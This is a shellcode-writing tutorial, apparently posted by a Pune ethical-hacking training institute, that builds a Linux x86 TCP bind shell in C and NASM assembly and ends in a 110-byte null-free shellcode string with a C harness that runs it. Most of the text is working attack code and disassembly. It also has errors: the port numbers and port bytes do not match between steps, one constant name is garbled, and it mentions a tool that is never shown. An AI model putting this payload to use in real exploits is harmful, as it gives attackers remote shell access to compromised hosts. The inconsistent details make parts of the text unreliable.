Advanced Ethical Hacking Institute in Pune
Now, to all those who are LEARNING ASM, please do not be intimidated by this. This may look advanced due to its shear length, but I assure you it’s fairly simple. ASM files are MUCH longer as it is the lowest level language and there are a lot more commands needed to perform even a relatively simple task.
This tutorial assumes you have basic to intermediate knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc…)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc…)
~ Linux System Calls (Found normally at /usr/include/asm/ in unistd_32.h)
~ Buffer Overflow Methodology and basic Science behind it
Below, I’ve written a simple TCP bind shell in C so that we can reference this later on.
PHP Code:
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#define PORT 7777
int main(){
int client, server; //file descriptors
struct sockaddr_in sock; //socket addr
server = socket(AF_INET, SOCK_STREAM, 0); //create a socket in server
sock.sin_family = AF_INET; //address family AF_INET
sock.sin_port = htons(PORT); //sets the port for socket
sock.sin_addr.s_addr = INADDR_ANY; //allow any address in
bind(server, (struct sockaddr *) &sock, sizeof(sock));
//This binds the socket to the socket to the file descriptor
listen(server, 1); //listen for connections
client = accept(server, NULL, NULL);
//set client file descriptor to the first accepted client
dup2(client, 0); //stdin
dup2(client, 1); //stdout
dup2(client, 2); //stderr
//these now use 'client' stream, not std::
execve("/bin/sh", NULL, NULL);
//execute /bin/sh in the client stream. Client has full access.
return 0;
}
Okay, this is simple enough. It creates a socket, listens on a port, duplicates the file descriptors for stdin/out/err so the client can interact with the standard streams, and executes a /bin/bash or /bin/sh shell… This is very easy.
Now that we have this, we have to convert this to assembly 😀
But wait. How do we find those #defined constants? You can:
A) Look through the files and try and find them. They are going to be either in the #included files OR in files #included by the #included files….
B) Print them on screen:
PHP Code:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <netinet/in.h>
int main(){
printf(
"AF_INET:\t%d\n"
"SOCK_STREAM:\t%d\n"
"INADDR_ANY:\t%d\n"
,AF_INET, SOCK_STREAM, INADDR_ANY);
return 0;
}
I simply included the same files as the first program. This yields:
AF_INET: 2
SOCK_STRESS: 1
INADDR_ANY: 0
We need to grab the system calls, functions, and parameters for this to be of any use to us.
We know that we used socket(), bind(), listen(), accept(), dup2(), and execve().
Something we have to note is that the socket calls are not native in x86 ASM system calls, but rather offsets of the “socketcall” system call.
Looking in /usr/include/linux/types.h We see:
PHP Code:
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
Calls we used (man calls):
- int socket(int domain, int type, int protocol); – 102 _ 1
Parameters:- AF_INET (aka 2)
- SOCK_STREAM (aka 1)
- 0
- int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); – 102 _ 2
Parameters:- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- Address Family, Port
- Length
- int listen(int sockfd, int backlog); – 102 _ 4
- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- 1
- int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); – 102 _ 5
- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- 0 (No parameters)
- 0 (No addrlen)
- int dup2(int oldfd, int newfd); – 63
- client FD, client FD, client FD
- stdin (0), stdout (1), stderr (2)
- int execve(const char *filename, char *const argv[], char *const envp[]); – 11
- “/bin/sh” is only 7 characters. It must be 8. Thankfully, using multiple “/”‘s in a row does not affect it. So we can use: “//bin/sh”. “/bin/bash” -> “////bin/bash”
- No arguments
Fuck that’s intimidating. Well, we see that we will have to use the FD returned by socket() which will be stored in EAX
For those of you who have written shellcode from C programs before know that it’s MUCH MUCH easier to do this when you think in terms of function by function. Viewing it as one challenge is entirely too great.
We will start it off like any basic file:
SECTION .text
global _start
_start:
Okay, halfway there…
socket()
Syscall: 102
;////// SOCKET
xor eax, eax
xor ebx, ebx
push eax ;// pushing NULL bytes onto the stack
mov al, 102d ;// syscall for socketcall
mov bl, 1 ;// linux/types.h: #define SYS_SOCKET 1
push ebx ;// push 0x0000001 onto stack
push 2d ;// push 0x0000002 onto stack
mov ecx, esp ;// move the stack pointer (parameter array start) to the ECX
int 80h ;// execute socket()
;//socket() returned is not in EAX
mov esi, eax ;//save socket() file descriptor in something that won't be overwritten like ESI
Okay, great. This creates our socket and saves it in ESI so we can call it later. Simple enough. Now we can start the bind() function.
bind()
Syscall: 102
;////// BIND
xor eax, eax ;// clear EAX
xor ebx, ebx
mov al, 102d ;// syscall for socketcall
mov bl, 2 ;//// linux/types.h: #define SYS_BIND 2
add esp, 8d ;// removing 2 and 1 from the stack
;// This is the PORT number. Note that it MUST be in little endian.
;// If you want port 7777 (0x1E61), you MUST use (0x611E)
push word 0x611e
push word 2d ;// push
mov ecx, esp ;// move param array to ECX
push byte 16d ;//I'm still unsure of what the value should be. 16 is the lowest value $
push ecx ;// push param array start
push esi ;// socket() fd onto stack
mov ecx, esp ;// move the NEW param array into ecx
int 0x80 ;// call bind()
listen()
Syscall: 102
;////// LISTEN
xor eax, eax ;// clear EAX
mov bl, 4d ;//// linux/types.h: #define SYS_LISTEN 4
push 1d ;// int backlog parameter
mov al, 102d
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call listen()
accept()
Syscall: 102
;////// ACCEPT
xor eax, eax ;// clear EAX
push eax ;// NULL - no sockaddr struct
push eax ;// NULL - no addrlen
mov al, 102d ;// syscall for socketcall
mov bl, 5d ;//// linux/types.h: #define SYS_ACCEPT 5
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call accept()
;// this CLIENT FD is saved in EAX
dup2()
Syscall: 63
;////// DUP2
mov ebx, eax ;// save client FD into ebx ('old' fd dup2)
xor ecx, ecx ;// clear ECX
mov cl, 2d ;// Counter. 2, 1, 0 (stderr, stdout, stdin)
;// We need to set AL to dup2 syscall each time we loop or it will be overwritten.
loop_dup2:
mov al, 63d ;// syscall for dup2
int 0x80 ;// call dup2
dec ecx ;// decrease ECX
jns loop_dup2 ;// jump to the loop if ECX is still positive
execve()
Socketcall: 11
Alright. This is one of the the standard /bin/sh shellcode. This is the shortest way I know of writing it. Note that it needs to be a multiple of 4 bytes so “/bin/sh: won’t work. It needs to be 8 characters.
//bin/sh works just the same. Also, if you wanted to push 4 more bytes on there, //////bin/sh works identically.
;////// EXECVE
xor eax, eax ;// clear EAX
push eax ;// push NULL
;// Push string "/bib/sh" (rather "//bin/sh" so it's x 4) backwards in LE
push 0x68732f6e ;// "hs/n" in hex
push 0x69622f2f ;// "ib//" in hex
mov ebx, esp ;// Move argument stack pointer into ebx
push eax ;// push NULL
mov edx, esp ;// move the NEW stack pointer into EDX (environment params ptr)
push ebx ;// push this new address onto stack
mov ecx, esp ;// move the NEW NEW stack pointer into ECX (param array ptr)
mov al, 11d ;// syscall for execve
int 0x80 ;// call execve()
That’s a lot of stuff we just typed…
Let’s compile it:
nasm -f elf32 file.asm -o TEMP.o
ld -m elf_i386 -o exec TEMP.o
./exec
And test it with netcat or a telnet client:
nc 127.0.0.1 777
^^ Assuming you are testing it on local host and you chose port 777.
Proof:
Alright. Now let’s turn this into shellcode with OPCODER (the simple tool I wrote at the top).
Here’s the disassembly output:
objdump -M intel -d exec
OBJ Dump:
8048060: 31 c0 xor eax,eax
8048062: 31 db xor ebx,ebx
8048064: 50 push eax
8048065: b0 66 mov al,0x66
8048067: b3 01 mov bl,0x1
8048069: 53 push ebx
804806a: 6a 02 push 0x2
804806c: 89 e1 mov ecx,esp
804806e: cd 80 int 0x80
8048070: 89 c6 mov esi,eax
8048072: 31 c0 xor eax,eax
8048074: 31 db xor ebx,ebx
8048076: b0 66 mov al,0x66
8048078: b3 02 mov bl,0x2
804807a: 83 c4 08 add esp,0x8
804807d: 66 68 1e 61 pushw 0x611e
8048081: 66 6a 02 pushw 0x2
8048084: 89 e1 mov ecx,esp
8048086: 6a 10 push 0x10
8048088: 51 push ecx
8048089: 56 push esi
804808a: 89 e1 mov ecx,esp
804808c: cd 80 int 0x80
804808e: 31 c0 xor eax,eax
8048090: b3 04 mov bl,0x4
8048092: 6a 01 push 0x1
8048094: b0 66 mov al,0x66
8048096: 56 push esi
8048097: 89 e1 mov ecx,esp
8048099: cd 80 int 0x80
804809b: 31 c0 xor eax,eax
804809d: 50 push eax
804809e: 50 push eax
804809f: b0 66 mov al,0x66
80480a1: b3 05 mov bl,0x5
80480a3: 56 push esi
80480a4: 89 e1 mov ecx,esp
80480a6: cd 80 int 0x80
80480a8: 89 c3 mov ebx,eax
80480aa: 31 c9 xor ecx,ecx
80480ac: b1 02 mov cl,0x2
80480ae: b0 3f mov al,0x3f
80480b0: cd 80 int 0x80
80480b2: 49 dec ecx
80480b3: 79 f9 jns 0x80480ae
80480b5: 31 c0 xor eax,eax
80480b7: 50 push eax
80480b8: 68 6e 2f 73 68 push 0x68732f6e
80480bd: 68 2f 2f 62 69 push 0x69622f2f
80480c2: 89 e3 mov ebx,esp
80480c4: 50 push eax
80480c5: 89 e2 mov edx,esp
80480c7: 53 push ebx
80480c8: 89 e1 mov ecx,esp
80480ca: b0 0b mov al,0xb
80480cc: cd 80 int 0x80
Shellcode (110 Bytes):
\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
You can check to see if there are any \x00’s simply by running:
objdump -d exec | grep “00”
Now let’s test it in our C program:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\xef\xbe\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
printf("Shellcode Length (Bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
And moment of truth:
www.extremehacking.org
CEHv8 CHFIv8 ECSAv8 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking, Center For Advanced Security Training in India, IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune